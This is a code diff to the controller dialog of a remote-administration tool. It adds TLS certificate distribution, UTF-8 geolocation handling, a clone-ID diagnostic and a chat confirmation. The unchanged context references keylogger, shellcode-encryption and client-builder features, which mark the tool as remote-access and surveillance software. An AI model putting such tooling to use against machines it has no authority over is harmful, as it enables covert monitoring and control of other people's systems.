+static CString NormalizeLocationToUtf8(const CString& str)
+{
+    if (str.IsEmpty() || IsValidUtf8Str(str.GetString())) return str;
+    return LocationToUtf8(str, 936);
+}
+
+// 把按 cp 编码的字符串转成宽字符串（cp == CP_UTF8 用于地理位置，CP_ACP 用于 GBK/ASCII 部分）。
+static CStringW AnsiToWide(const char* s, UINT cp = CP_ACP)
+{
+    if (!s || !s[0]) return L"";
+    int wlen = MultiByteToWideChar(cp, 0, s, -1, NULL, 0);
+    if (wlen <= 1) return L"";
+    std::wstring w(wlen - 1, L'\0');
+    MultiByteToWideChar(cp, 0, s, -1, &w[0], wlen);
+    return CStringW(w.c_str());
+}
+
 // 授权日志频率控制：首次必须记录，状态变化必须记录，相同状态每小时记录一次
 static bool ShouldLogAuth(const std::string& sn, int success) {
     struct AuthLogState {
@@ -674,6 +740,8 @@ CMy2015RemoteDlg::CMy2015RemoteDlg(CWnd* pParent): CDialogLangEx(CMy2015RemoteDl
     m_bmOnline[66].LoadBitmap(IDB_BITMAP_FILE_MANAGER);       // 文件管理
     m_bmOnline[67].LoadBitmap(IDB_BITMAP_PRIVACY_SHIELD);     // 隐私屏幕
     m_bmOnline[68].LoadBitmap(IDB_BITMAP_DRAWING_BOARD);      // 远程画板
+    m_bmOnline[69].LoadBitmap(IDB_BITMAP_TLS_ENABLE);         // TLS 传输
+    m_bmOnline[70].LoadBitmap(IDB_BITMAP_TLS_DISABLE);        // 取消 TLS
     for (int i = 0; i < PAYLOAD_MAXTYPE; i++) {
         m_ServerDLL[i] = nullptr;
         m_ServerBin[i] = nullptr;
@@ -968,6 +1036,7 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx)
     ON_COMMAND(ID_MSGLOG_LOGIN_NOTIFY, &CMy2015RemoteDlg::OnMsglogLoginNotify)
     ON_COMMAND(ID_MSGLOG_BAN_IP, &CMy2015RemoteDlg::OnMsglogBanIP)
     ON_COMMAND(ID_MSGLOG_UNBAN_IP, &CMy2015RemoteDlg::OnMsglogUnbanIP)
+    ON_COMMAND(ID_MSGLOG_WHITELIST_IP, &CMy2015RemoteDlg::OnMsglogWhitelistIP)
     ON_COMMAND(ID_ONLINE_ADD_WATCH, &CMy2015RemoteDlg::OnOnlineAddWatch)
     ON_COMMAND(ID_ONLINE_LOGIN_NOTIFY, &CMy2015RemoteDlg::OnOnlineLoginNotify)
     ON_NOTIFY(NM_CUSTOMDRAW, IDC_ONLINE, &CMy2015RemoteDlg::OnNMCustomdrawOnline)
@@ -996,12 +1065,15 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx)
     ON_COMMAND(ID_TOOL_RELOAD_PLUGINS, &CMy2015RemoteDlg::OnToolReloadPlugins)
     ON_COMMAND(ID_TOOL_PLUGIN_SETTINGS, &CMy2015RemoteDlg::OnToolPluginSettings)
     ON_COMMAND(ID_MCP_SETTINGS, &CMy2015RemoteDlg::OnMcpSettings)
+    ON_COMMAND(ID_TLS_CERTIFICATE, &CMy2015RemoteDlg::OnTlsCertificate)
     ON_COMMAND(ID_CONNECTION_MANAGE, &CMy2015RemoteDlg::OnConnectionManage)
     ON_COMMAND(ID_TALK_MANAGE, &CMy2015RemoteDlg::OnChat)
     ON_COMMAND(ID_MACHINE_MANAGE, &CMy2015RemoteDlg::OnMachineManager)
     ON_COMMAND(ID_EXPERIMENT_FILE_MANAGER, &CMy2015RemoteDlg::OnExperimentFileManager)
     ON_COMMAND(ID_EXPERIMENT_PRIVATE_SCREEN, &CMy2015RemoteDlg::OnExperimentPrivateScreen)
     ON_COMMAND(ID_EXPERIMENT_DRAWING_BOARD, &CMy2015RemoteDlg::OnExperimentDrawingBoard)
+    ON_COMMAND(ID_EXPERIMENT_TLS_ENABLE, &CMy2015RemoteDlg::OnExperimentTlsEnable)
+    ON_COMMAND(ID_EXPERIMENT_TLS_DISABLE, &CMy2015RemoteDlg::OnExperimentTlsDisable)
     ON_COMMAND(ID_TRIGGER_SETTINGS, &CMy2015RemoteDlg::OnTriggerSettings)
     ON_COMMAND(ID_SHELLCODE_AES_C_ARRAY, &CMy2015RemoteDlg::OnShellcodeAesCArray)
     ON_COMMAND(ID_PARAM_KBLOGGER, &CMy2015RemoteDlg::OnParamKblogger)
@@ -1260,6 +1332,17 @@ VOID CMy2015RemoteDlg::CreateSolidMenu()
                              ID_MCP_SETTINGS, _TR("MCP设置(&M)..."));
     }
 
+    // 动态插入「TLS证书」菜单项，位于「MCP设置」之后、「插件设置」之前（对同一锚点
+    // ID_TOOL_PLUGIN_SETTINGS 二次 InsertMenu，后插者更贴近锚点，故排在 MCP 下方）。
+    if (!SHOULD_HIDE_MENU(HIDE_MENU_TLS_CERTIFICATE, MF_TLS_CERTIFICATE)) {
+        UINT tlsFlags = MF_BYCOMMAND;
+        if (THIS_CFG.GetInt("tls", "Enabled", 0)) {
+            tlsFlags |= MF_CHECKED;  // 已启用 TLS 则菜单打勾
+        }
+        pExtMenu->InsertMenu(ID_TOOL_PLUGIN_SETTINGS, tlsFlags,
+                             ID_TLS_CERTIFICATE, _TR("TLS证书(&T)..."));
+    }
+
     // 将 3 个插件相关菜单项收拢到「插件」二级菜单（位于「MCP设置」之下、原「插件设置」之前，
     // 顺序不变：插件设置 / 刷新插件 / 获取插件）。
     // 注意：先删除顶层项、再按位置插入子菜单，避免同一命令 ID 同时存在于子菜单与顶层时，
@@ -1427,7 +1510,17 @@ VOID CMy2015RemoteDlg::CreateToolBar()
     m_ToolBar.SetButtonText(11, _TR("生成服务端"));
     m_ToolBar.SetButtonText(12, _TR("搜索"));
     m_ToolBar.SetButtonText(13, _TR("帮助"));
-    m_ToolBar.SetButtonText(14, _T("Lang/语言"));
+    // 按钮 14 "Lang/语言" 含 GBK 中文：comctl32 的 ANSI 消息按系统 ACP 解码，非中文系统会乱码，
+    // 故改用 Unicode 消息 + 显式 GBK(936)→Unicode 转换设置（与 TranslateListHeader 同法）。
+    {
+        WCHAR wLabel[64] = { 0 };
+        MultiByteToWideChar(936, 0, _T("Lang/语言"), -1, wLabel, 64);
+        TBBUTTONINFOW tbi = { 0 };
+        tbi.cbSize = sizeof(tbi);
+        tbi.dwMask = TBIF_TEXT | TBIF_BYINDEX;   // wParam 为按钮下标（与 SetButtonText(14,...) 同义）
+        tbi.pszText = wLabel;
+        ::SendMessageW(m_ToolBar.GetSafeHwnd(), TB_SETBUTTONINFOW, 14, (LPARAM)&tbi);
+    }
     m_ToolBar.SetButtonText(15, _T("MCP"));
     m_ToolBar.SetButtonText(16, _TR("连接管理"));
     m_ToolBar.SetButtonText(17, _TR("远程交谈"));
@@ -1588,10 +1681,11 @@ VOID CMy2015RemoteDlg::AddList(CString strIP, CString strAddr, CString strPCName
     const std::string& privUser = v[RES_USERNAME];
     const std::string& privAdmin = v[RES_ISADMIN];
     CString privilegeStr = privUser == "SYSTEM" ? "SYSTEM" : privAdmin == "1" ? "Admin" : "User";
+    CString tlsStr = v[RES_TLS].empty() ? "N" : v[RES_TLS] == "1" ? "Y" : "N";
 
     CString data[ONLINELIST_MAX] = { strIP, strAddr, "", strPCName, strOS, strCPU, strVideo, strPing,
                                      verDisplay, install, startTime, v[RES_CLIENT_TYPE].empty() ? "?" : v[RES_CLIENT_TYPE].c_str(), path,
-                                     v[RES_CLIENT_PUBIP].empty() ? strIP : v[RES_CLIENT_PUBIP].c_str(), startTime, capStr, privilegeStr,
+                                     v[RES_CLIENT_PUBIP].empty() ? strIP : v[RES_CLIENT_PUBIP].c_str(), startTime, capStr, privilegeStr, tlsStr,
                                    };
     // 优先采用客户端自报的 ID（新客户端用 V2 算法 = MachineGuid + 归一化路径，
     // 比服务端按老算法 IP+PC+OS+CPU+PATH 重算更稳定）。
@@ -1606,7 +1700,7 @@ VOID CMy2015RemoteDlg::AddList(CString strIP, CString strAddr, CString strPCName
         v[RES_CLIENT_ID] = std::to_string(id);
     }
 
-    bool modify = false, needConvert = true;
+    bool modify = false;
 
     // 新客户端 V2 ID 算法首次上线时，把老 ID 下的元数据迁过来。
     if (TryMigrateClientMetadata(id, strPCName, path)) {
@@ -1615,20 +1709,21 @@ VOID CMy2015RemoteDlg::AddList(CString strIP, CString strAddr, CString strPCName
     // 优先级：① 客户端刚发来的有效地理位置（非空非"?"）
     //          ② 服务端缓存（排除历史遗留的"?"无效值）
     //          ③ 服务端按连接 IP 自行查询
+    // 存储统一为 UTF-8：列表用宽字符显示、HostJson/邮件导出直接透传，
+    // 不再 SafeUtf8ToAnsi 转 GBK（GBK 无法编码 ö/ä/ß 等变音符，会替换成 '?'）。
     CString clientLoc = v[RES_CLIENT_LOC].c_str();
     CString cachedLoc = m_ClientMap->GetClientMapData(id, MAP_LOCATION);
     CString loc;
     if (!clientLoc.IsEmpty() && clientLoc != "?") {
-        loc = clientLoc;
+        // 客户端自报：GetGeoLocation 已改为返回 UTF-8（见 common/location.h），
+        // 新客户端各类型都上报 UTF-8；老版本/旧缓存的客户端可能仍是 GBK/936。统一按 UTF-8 规整。
+        loc = NormalizeLocationToUtf8(clientLoc);
     } else if (!cachedLoc.IsEmpty() && cachedLoc != "?") {
-        loc = cachedLoc;
+        loc = NormalizeLocationToUtf8(cachedLoc);
     } else {
-        loc = m_IPConverter->GetGeoLocation(data[ONLINELIST_IP].GetString()).c_str();
-        needConvert = !m_HasLocDB;
+        std::string geo = m_IPConverter->GetGeoLocation(data[ONLINELIST_IP].GetString());
+        loc = NormalizeLocationToUtf8(CString(geo.c_str()));
     }
-    // TODO: Remove SafeUtf8ToAnsi after migrating to UTF-8
-    if (needConvert)
-        loc = SafeUtf8ToAnsi(loc.GetString()).c_str();
     bool flag = strIP == "127.0.0.1" && !v[RES_CLIENT_PUBIP].empty();
     data[ONLINELIST_IP] = flag ? v[RES_CLIENT_PUBIP].c_str() : strIP;
     data[ONLINELIST_LOCATION] = loc;
@@ -1661,6 +1756,22 @@ VOID CMy2015RemoteDlg::AddList(CString strIP, CString strAddr, CString strPCName
                 return;
             }
             if (!ctx->GetClientData(ONLINELIST_IP).IsEmpty()) {
+                // 诊断：client_id 相同，但主机名/用户名不同 → 很可能是「同镜像克隆机」
+                // （MachineGuid 相同 → id 相同，实为不同物理机）。IP 会随 DHCP/公网出口漂移，仅供参考。
+                // 写日志供管理员核对，作为后续「重复 id 主动下发新 client_id」的依据。
+                CString newUser = v[RES_USERNAME].c_str();
+                CString oldUser = ctx->GetAdditionalData(RES_USERNAME);
+                CString oldName = ctx->GetClientData(ONLINELIST_COMPUTER_NAME);
+                CString oldIP   = ctx->GetClientData(ONLINELIST_IP);
+                if (strPCName.CompareNoCase(oldName) != 0 ||
+                    data[ONLINELIST_IP].CompareNoCase(oldIP) != 0 ||
+                    newUser.CompareNoCase(oldUser) != 0) {
+                    Mprintf("WARN: client_id 相同但主机信息不同（疑似克隆机撞 ID）id=%llu\n"
+                            "  新上线: 主机名=%s IP=%s 用户名=%s\n"
+                            "  已在线: 主机名=%s IP=%s 用户名=%s\n",
+                            id, strPCName.GetString(), data[ONLINELIST_IP].GetString(), newUser.GetString(),
+                            oldName.GetString(), oldIP.GetString(), oldUser.GetString());
+                }
                 Mprintf("上线消息 - 主机重复上线，暂存替补 [2]: %llu. IP= %s. Path= %s\n", id, data[ONLINELIST_IP], path);
                 // 网络抖动导致客户端用新连接重复上线：这里不立即替换/关闭旧连接，
                 // 否则旧连接被关会触发客户端反复重连抖动（更新前就一直在"替换旧连接"）。
@@ -1702,7 +1813,13 @@ VOID CMy2015RemoteDlg::AddList(CString strIP, CString strAddr, CString strPCName
     }
 
     std::string tip = flag ? " (" + v[RES_CLIENT_PUBIP] + ") " : "";
-    ShowMessage(_TR("操作成功"), strIP + tip.c_str() + " " + _L(_T("主机上线")) + "[" + loc + "][" + groupName.c_str() + "]");
+    // 地理位置 loc 是 UTF-8，其余是 GBK/ASCII；拼成宽字符串走 ShowMessageW，
+    // 否则 UTF-8 会在 ANSI 日志列表里被按 GBK 显示成乱码（Böblingen → B枚blingen）。
+    CString type = _TR("操作成功");
+    CString prefix = strIP + tip.c_str() + " " + _L(_T("主机上线")) + "[";
+    CString suffix = "][" + CString(groupName.c_str()) + "]";
+    ShowMessageW(AnsiToWide(type.GetString()),
+                 AnsiToWide(prefix.GetString(), CP_ACP) + AnsiToWide(loc.GetString(), CP_UTF8) + AnsiToWide(suffix.GetString(), CP_ACP));
 
     CharMsg *title =  new CharMsg(_TR("主机上线"));
     CharMsg *text = new CharMsg(strIP + CString(tip.c_str()) + _T(" ") + _L(_T("主机上线")) + _T(" [") + loc + _T("]"));
@@ -1849,6 +1966,61 @@ VOID CMy2015RemoteDlg::ShowMessage(CString strType, CString strMsg)
         m_StatusBar.SetPaneText(0,strStatusMsg);   //在状态条上显示文字
 }
 
+// 宽字符版 ShowMessage：消息里嵌入了 UTF-8 地理位置时，SetItemText 会把 UTF-8 按 GBK
+// 显示成乱码（Böblingen → B枚blingen）。这里把消息列经 LVM_SETITEMTEXTW 直接写宽字符串。
+// 类型/时间列与线程安全镜像仍保持 GBK，与其它条目及 McpServer get_audit_log 的 ToUtf8(msg,936) 一致。
+VOID CMy2015RemoteDlg::ShowMessageW(const CStringW& strTypeW, const CStringW& strMsgW)
+{
+    AUTO_TICK(200, "");
+    CTime Timer = CTime::GetCurrentTime();
+    CString strTime = Timer.Format("%Y-%m-%d %H:%M:%S");
+
+    int count = m_CList_Message.GetItemCount();
+    if (count >= MAX_MESSAGE_COUNT) {
+        m_CList_Message.DeleteItem(count - 1);
+    }
+
+    // 宽 → GBK 仅用于 InsertItem（类型列）、颜色判定与线程安全镜像；ö 等变音符会退化为 '?'，
+    // 但 UI 消息列用的是下面的宽字符写，不受影响。
+    CString strType(strTypeW);
+    CString strMsg(strMsgW);
+
+    m_CList_Message.InsertItem(0, strType);
+    m_CList_Message.SetItemText(0, 1, strTime);
+
+    LVITEMW lv = {};
+    lv.mask = LVIF_TEXT;
+    lv.iItem = 0;
+    lv.iSubItem = 2;
+    lv.pszText = const_cast<LPWSTR>(strMsgW.GetString());
+    ::SendMessageW(m_CList_Message.GetSafeHwnd(), LVM_SETITEMTEXTW, 0, (LPARAM)&lv);
+
+    m_CList_Message.SetItemData(0, (DWORD_PTR)MsgColorLevel(strType, strMsg));
+
+    // 同步线程安全镜像（GBK，与其它条目一致）
+    {
+        EnterCriticalSection(&m_cs);
+        LogMessage entry;
+        entry.type = strType.GetString();
+        entry.time = strTime.GetString();
+        entry.msg  = strMsg.GetString();
+        m_MessageLog.insert(m_MessageLog.begin(), entry);
+        if ((int)m_MessageLog.size() > MAX_MESSAGE_COUNT)
+            m_MessageLog.pop_back();
+        LeaveCriticalSection(&m_cs);
+    }
+
+    CString strStatusMsg;
+    EnterCriticalSection(&m_cs);
+    int m_iCount = m_CList_Online.GetItemCount();
+    int totalCount = m_HostList.size();
+    LeaveCriticalSection(&m_cs);
+    strStatusMsg.FormatL("有%d个主机在线", m_iCount);
+    strStatusMsg += CString("[Total: ") + std::to_string(totalCount).c_str() + "]";
+    if (m_StatusBar.GetSafeHwnd())
+        m_StatusBar.SetPaneText(0, strStatusMsg);
+}
+
 // 试用版 IP 段触发：OnAccept 发现入站连接对端是公网 IP（已透过 Proxy Protocol v2 解出真实 IP）。
 // 与 OnTrialRttAbuse 共用 IOCPServer::s_TrialAbuseWarned latch，本函数每进程最多调一次。
 LRESULT CMy2015RemoteDlg::OnTrialWanIpAbuse(WPARAM wParam, LPARAM lParam)
@@ -2425,6 +2597,12 @@ BOOL CMy2015RemoteDlg::OnInitDialog()
     strcpy(m_settings.GetPluginUrl, THIS_CFG.GetStr("settings", "GetPluginUrl", BRAND_URL_GET_PLUGIN).c_str());
     m_settings.Authorized = !pwd.empty() && !THIS_CFG.GetStr("settings", "PwdHmac").empty();
     m_settings.IsTrail = IsTrail(pwd);
+    {
+        int chunkKb, durMs;
+        GetTransferSpeed(THIS_CFG, chunkKb, durMs);
+        m_settings.TransferChunkKb    = (uint16_t)chunkKb;
+        m_settings.TransferDurationMs = (uint16_t)durMs;
+    }
     m_bEnableFileV2 = THIS_CFG.GetInt("settings", "EnableFileV2", 0) != 0;
 
     // 缩略图配置：从 [thumbnail] 节读取（独立于 MasterSettings，纯主控端 UI 偏好）。
@@ -4221,6 +4399,10 @@ void CMy2015RemoteDlg::OnGetDispInfo(NMHDR* pNMHDR, LRESULT* pResult)
                 text = ctx->GetClientData(slot);
                 if (text.IsEmpty()) text = "?";
             }
+            // 地理位置列已统一按 UTF-8 存储（见 AddList）；A 版回调只能填 CP_ACP 文本，转回 CP_ACP。
+            if (slot == ONLINELIST_LOCATION) {
+                text = Utf8ToAnsi(std::string(text.GetString())).c_str();
+            }
             lstrcpyn(pItem->pszText, text, pItem->cchTextMax);
         }
     }
@@ -4287,7 +4469,8 @@ void CMy2015RemoteDlg::OnGetDispInfoW(NMHDR* pNMHDR, LRESULT* pResult)
             }
             if (wtext.empty()) wtext = L"?";
         } else {
-            // 其它列：CString 仍是 ANSI（CP_ACP），按 CP_ACP 转宽供控件显示
+            // 其它列：CString 仍是 ANSI（CP_ACP），按 CP_ACP 转宽供控件显示；
+            // 地理位置列已统一按 UTF-8 存储（见 AddList），按 UTF-8 转宽，避免把 UTF-8 字节当 GBK。
             CString text;
             if (nCol == ONLINELIST_COMPUTER_NAME) {
                 CString note = m_ClientMap->GetClientMapData(ctx->GetClientID(), MAP_NOTE);
@@ -4296,10 +4479,11 @@ void CMy2015RemoteDlg::OnGetDispInfoW(NMHDR* pNMHDR, LRESULT* pResult)
                 text = ctx->GetClientData(nCol);
                 if (text.IsEmpty()) text = "?";
             }
-            int wlen = MultiByteToWideChar(CP_ACP, 0, text, -1, NULL, 0);
+            UINT cp = (nCol == ONLINELIST_LOCATION) ? CP_UTF8 : CP_ACP;
+            int wlen = MultiByteToWideChar(cp, 0, text, -1, NULL, 0);
             if (wlen > 0) {
                 wtext.resize(wlen - 1);
-                MultiByteToWideChar(CP_ACP, 0, text, -1, &wtext[0], wlen);
+                MultiByteToWideChar(cp, 0, text, -1, &wtext[0], wlen);
             }
         }
 
@@ -4370,6 +4554,8 @@ void CMy2015RemoteDlg::OnNMRClickOnline(NMHDR *pNMHDR, LRESULT *pResult)
     Menu.SetMenuItemBitmaps(ID_EXPERIMENT_FILE_MANAGER,   MF_BYCOMMAND, &m_bmOnline[66], &m_bmOnline[66]);
     Menu.SetMenuItemBitmaps(ID_EXPERIMENT_PRIVATE_SCREEN, MF_BYCOMMAND, &m_bmOnline[67], &m_bmOnline[67]);
     Menu.SetMenuItemBitmaps(ID_EXPERIMENT_DRAWING_BOARD,  MF_BYCOMMAND, &m_bmOnline[68], &m_bmOnline[68]);
+    Menu.SetMenuItemBitmaps(ID_EXPERIMENT_TLS_ENABLE,     MF_BYCOMMAND, &m_bmOnline[69], &m_bmOnline[69]);
+    Menu.SetMenuItemBitmaps(ID_EXPERIMENT_TLS_DISABLE,    MF_BYCOMMAND, &m_bmOnline[70], &m_bmOnline[70]);
 
     Menu.ModifyMenuL(ID_ONLINE_AUTHORIZE, MF_BYCOMMAND | MF_STRING, ID_ONLINE_AUTHORIZE, _T("发送授权"));
 
@@ -4512,6 +4698,10 @@ void CMy2015RemoteDlg::OnOnlineMessage()
 
 void CMy2015RemoteDlg::OnChat()
 {
+    // 二次确认：避免误点工具栏“远程交谈”就立刻向被控端发起双向聊天
+    if (IDYES != MessageBoxL(_T("确定开始远程交谈吗?"), _T("提示"), MB_ICONQUESTION | MB_YESNO))
+        return;
+
     BYTE bToken = COMMAND_CHAT;   //向被控端发送开始远程交谈（双向聊天）
     SendSelectedCommand(&bToken, sizeof(BYTE));
 }
@@ -4538,6 +4728,53 @@ void CMy2015RemoteDlg::OnExperimentDrawingBoard()
     SendSelectedCommand(&bToken, sizeof(BYTE));
 }
 
+void CMy2015RemoteDlg::OnExperimentTlsEnable()
+{
+    // 前置校验：服务端未启用 TLS 证书时，无信任锚可下发，仅提示、不下发指令。
+    if (!ServerTlsIdentity::IsReady()) {
+        MessageBoxL(_T("服务端未启用 TLS 证书，无法切换客户端 TLS 传输"),
+                    _T("提示"), MB_ICONWARNING);
+        return;
+    }
+    // 二次确认：避免误点就切换被控端 TLS；客户端写注册表，下次启动生效
+    if (IDYES != MessageBoxL(_T("确定对选中主机启用 TLS 传输吗？（客户端下次启动生效）"),
+                             _T("提示"), MB_ICONQUESTION | MB_YESNO)) return;
+
+    // 读取服务端证书（信任锚），随启用指令一并下发；客户端写入注册表 settings\tls_cert。
+    std::ifstream certFile(THIS_CFG.GetStr("tls", "CertPath", ""), std::ios::binary);
+    if (!certFile.is_open()) {
+        MessageBoxL(_T("读取服务端 TLS 证书失败，无法下发"), _T("提示"), MB_ICONWARNING);
+        return;
+    }
+    std::ostringstream ss;
+    ss << certFile.rdbuf();
+    std::string certPem = ss.str();
+    if (certPem.empty()) {
+        MessageBoxL(_T("读取服务端 TLS 证书失败，无法下发"), _T("提示"), MB_ICONWARNING);
+        return;
+    }
+
+    // 报文：命令字节 + PEM 正文
+    std::vector<BYTE> pkt;
+    pkt.reserve(1 + certPem.size());
+    pkt.push_back((BYTE)COMMAND_TLS_ENABLE);
+    pkt.insert(pkt.end(), certPem.begin(), certPem.end());
+    SendSelectedCommand(pkt.data(), (ULONG)pkt.size());
+}
+
+void CMy2015RemoteDlg::OnExperimentTlsDisable()
+{
+    if (!ServerTlsIdentity::IsReady()) {
+        MessageBoxL(_T("服务端未启用 TLS 证书，无法切换客户端 TLS 传输"),
+                    _T("提示"), MB_ICONWARNING);
+        return;
+    }
+    if (IDYES != MessageBoxL(_T("确定取消选中主机的 TLS 传输吗？（客户端下次启动生效）"),
+                             _T("提示"), MB_ICONQUESTION | MB_YESNO)) return;
+    BYTE bToken = COMMAND_TLS_DISABLE;  //向被控端发送停用 TLS 传输命令
+    SendSelectedCommand(&bToken, sizeof(BYTE));
+}
+
 
 // 从资源中读取被控端文件，并根据用户选择修改连接信息后返回给发送线程
 BYTE* ReadExeFromResource(DWORD& outSize, int resourceId, const char* resName, int iType, int iStartup,
@@ -4770,9 +5007,6 @@ VOID CMy2015RemoteDlg::OnOnlineDesktopManager()
 {
     if (!ShouldRemoteControl())
         return;
-    // 先下发当前文件传输速度档位，再开远程桌面：避免被控端 ScreenManager 先初始化
-    // 文件上传模块（进程级引用计数）把速度锁成旧值。
-    SendFileSpeedCommand();
     int n = THIS_CFG.GetInt("settings", "DXGI");
     BOOL all = THIS_CFG.GetInt("settings", "MultiScreen", TRUE);
     CString algo = THIS_CFG.GetStr("settings", "ScreenCompress", ALGORITHM_NULL).c_str();
@@ -4782,9 +5016,6 @@ VOID CMy2015RemoteDlg::OnOnlineDesktopManager()
 
 VOID CMy2015RemoteDlg::OnOnlineFileManager()
 {
-    // 先下发文件传输速度档位，再发 COMMAND_LIST_DRIVE 开文件管理：保证被控端
-    // CFileManager 构造时读到的 [transfer] 配置已是最新值。
-    SendFileSpeedCommand();
     BYTE	bToken = COMMAND_LIST_DRIVE;
     SendSelectedCommand(&bToken, sizeof(BYTE));
 }
@@ -5477,7 +5708,7 @@ int CMy2015RemoteDlg::AuthorizeClient(context* ctx, const std::string& sn, const
         if (outExpired) *outExpired = true;  // 签名有效但已过期
         if (ctx != nullptr) {
             std::string ip = ctx->GetClientData(ONLINELIST_IP);
-            std::string location = m_IPConverter ? m_IPConverter->GetGeoLocation(ip) : "";
+            std::string location = m_IPConverter ? SafeUtf8ToAnsi(m_IPConverter->GetGeoLocation(ip)) : "";
             std::string machineName = ctx->GetClientData(ONLINELIST_COMPUTER_NAME);
             UpdateLicenseActivity(sn, passcode, hmacStr, ip, location, machineName);
         } else {
@@ -5495,7 +5726,7 @@ int CMy2015RemoteDlg::AuthorizeClient(context* ctx, const std::string& sn, const
     // 授权成功时更新 license 活跃信息
     if (ctx != nullptr) {
         std::string ip = ctx->GetClientData(ONLINELIST_IP);
-        std::string location = m_IPConverter ? m_IPConverter->GetGeoLocation(ip) : "";
+        std::string location = m_IPConverter ? SafeUtf8ToAnsi(m_IPConverter->GetGeoLocation(ip)) : "";
         std::string machineName = ctx->GetClientData(ONLINELIST_COMPUTER_NAME);
         UpdateLicenseActivity(sn, passcode, hmacStr, ip, location, machineName);
     } else {
@@ -5544,7 +5775,7 @@ int CMy2015RemoteDlg::AuthorizeClientV2(context* ctx, const std::string& sn, con
         if (outExpired) *outExpired = true;  // 签名有效但已过期
         if (ctx != nullptr) {
             std::string ip = ctx->GetClientData(ONLINELIST_IP);
-            std::string location = m_IPConverter ? m_IPConverter->GetGeoLocation(ip) : "";
+            std::string location = m_IPConverter ? SafeUtf8ToAnsi(m_IPConverter->GetGeoLocation(ip)) : "";
             std::string machineName = ctx->GetClientData(ONLINELIST_COMPUTER_NAME);
             UpdateLicenseActivity(sn, passcode, hmacV2, ip, location, machineName);
         } else {
@@ -5562,7 +5793,7 @@ int CMy2015RemoteDlg::AuthorizeClientV2(context* ctx, const std::string& sn, con
     // 授权成功时更新 license 活跃信息
     if (ctx != nullptr) {
         std::string ip = ctx->GetClientData(ONLINELIST_IP);
-        std::string location = m_IPConverter ? m_IPConverter->GetGeoLocation(ip) : "";
+        std::string location = m_IPConverter ? SafeUtf8ToAnsi(m_IPConverter->GetGeoLocation(ip)) : "";
         std::string machineName = ctx->GetClientData(ONLINELIST_COMPUTER_NAME);
         UpdateLicenseActivity(sn, passcode, hmacV2, ip, location, machineName);
     } else {
@@ -8747,22 +8978,21 @@ void CMy2015RemoteDlg::OnListClick(NMHDR* pNMHDR, LRESULT* pResult)
         CString startTime = ctx->GetClientData(ONLINELIST_STARTTIME);
         ctx->GetAdditionalData(res);
         // 客户端 RES_* 字符串编码取决于客户端能力位：UTF-8 客户端（Linux/macOS/新 Win）
-        // 发的是 UTF-8 字节，老客户端是 CP_ACP。这里统一规整到 CP_ACP，让下游 FormatL
-        // 与既有 ANSI 字符串拼接以及最终 CP_ACP→wide 的浮窗渲染都能正确识别。
-        // 若服务端运行系统的 ANSI 代码页不能容纳客户端字符（如德语服务端遇到中文路径），
-        // 不可表示的字符会变 '?' —— 与项目其它路径的既有限制一致，不在本次修复范围。
+        // 发的是 UTF-8 字节，老客户端是 GBK。这里统一规整到 GBK(936) —— 工程内部 ANSI
+        // 约定即 GBK（/execution-charset:.936 + setlocale(".936")），不随系统 ACP 变。
+        // 下游 FormatL 拼接、以及最终 936→wide 的浮窗渲染都能据此正确识别中文。
         UINT cp = GetClientEncoding(ctx);
-        if (cp != CP_ACP) {
+        if (cp != 936) {
             for (int i = 0; i < RES_MAX; i++) {
                 if (res[i].IsEmpty()) continue;
                 int wlen = MultiByteToWideChar(cp, 0, res[i].GetString(), -1, NULL, 0);
                 if (wlen <= 1) continue;
                 std::wstring wbuf(wlen - 1, L'\0');
                 MultiByteToWideChar(cp, 0, res[i].GetString(), -1, &wbuf[0], wlen);
-                int alen = WideCharToMultiByte(CP_ACP, 0, wbuf.c_str(), -1, NULL, 0, NULL, NULL);
+                int alen = WideCharToMultiByte(936, 0, wbuf.c_str(), -1, NULL, 0, NULL, NULL);
                 if (alen <= 1) continue;
                 CString out;
-                WideCharToMultiByte(CP_ACP, 0, wbuf.c_str(), -1,
+                WideCharToMultiByte(936, 0, wbuf.c_str(), -1,
                                     out.GetBufferSetLength(alen - 1), alen, NULL, NULL);
                 out.ReleaseBuffer(alen - 1);
                 res[i] = out;
@@ -8817,13 +9047,14 @@ void CMy2015RemoteDlg::OnListClick(NMHDR* pNMHDR, LRESULT* pResult)
         }
 
         auto* tip = new CPreviewTipWnd();
-        // 项目是 MBCS（CP_ACP），浮窗内部用宽字符渲染（避免跨语言系统乱码）。
-        // 这里把 strText (CStringA) 按 CP_ACP 转 wide。
+        // 浮窗内部用宽字符渲染。strText 里的中文（标签来自 GBK 源字面量，路径/用户名
+        // 已在上方规整为 GBK）统一是 GBK(936)，按 936 转 wide 而非系统 CP_ACP ——
+        // 否则非中文 ACP（德语/英语等）服务端会把中文解成乱码。
         CStringW textW;
         {
-            int wlen = MultiByteToWideChar(CP_ACP, 0, strText.GetString(), -1, NULL, 0);
+            int wlen = MultiByteToWideChar(936, 0, strText.GetString(), -1, NULL, 0);
             if (wlen > 1) {
-                MultiByteToWideChar(CP_ACP, 0, strText.GetString(), -1, textW.GetBufferSetLength(wlen - 1), wlen);
+                MultiByteToWideChar(936, 0, strText.GetString(), -1, textW.GetBufferSetLength(wlen - 1), wlen);
                 textW.ReleaseBuffer(wlen - 1);
             }
         }
@@ -9363,26 +9594,14 @@ void CMy2015RemoteDlg::OnFileTransferSpeed()
     if (dlg.DoModal() == IDOK) {
         THIS_CFG.SetInt("transfer", "ChunkKb", dlg.GetChunkKb());
         THIS_CFG.SetInt("transfer", "DurationMs", dlg.GetDurMs());
-        MessageBoxL("文件传输速度已保存。上传速度重启主控端后生效；下载速度下次打开文件管理或远程桌面后生效。",
+        m_settings.TransferChunkKb    = (uint16_t)dlg.GetChunkKb();
+        m_settings.TransferDurationMs = (uint16_t)dlg.GetDurMs();
+        SendMasterSettings(nullptr, m_settings);  // 下载速度随 MasterSettings 推送给在线客户端
+        MessageBoxL("文件传输速度已保存。上传速度重启主控端后生效；下载速度已推送到在线客户端，新连接的主机也会自动获取。",
                     "提示", MB_ICONINFORMATION);
     }
 }
 
-void CMy2015RemoteDlg::SendFileSpeedCommand()
-{
-    int chunkKb, durMs;
-    GetTransferSpeed(THIS_CFG, chunkKb, durMs);
-
-    // [cmd:1][chunkKb:uint16 LE][durationMs:uint16 LE]
-    BYTE buf[5];
-    buf[0] = CMD_FILE_SPEED;
-    buf[1] = (BYTE)(chunkKb & 0xFF);
-    buf[2] = (BYTE)((chunkKb >> 8) & 0xFF);
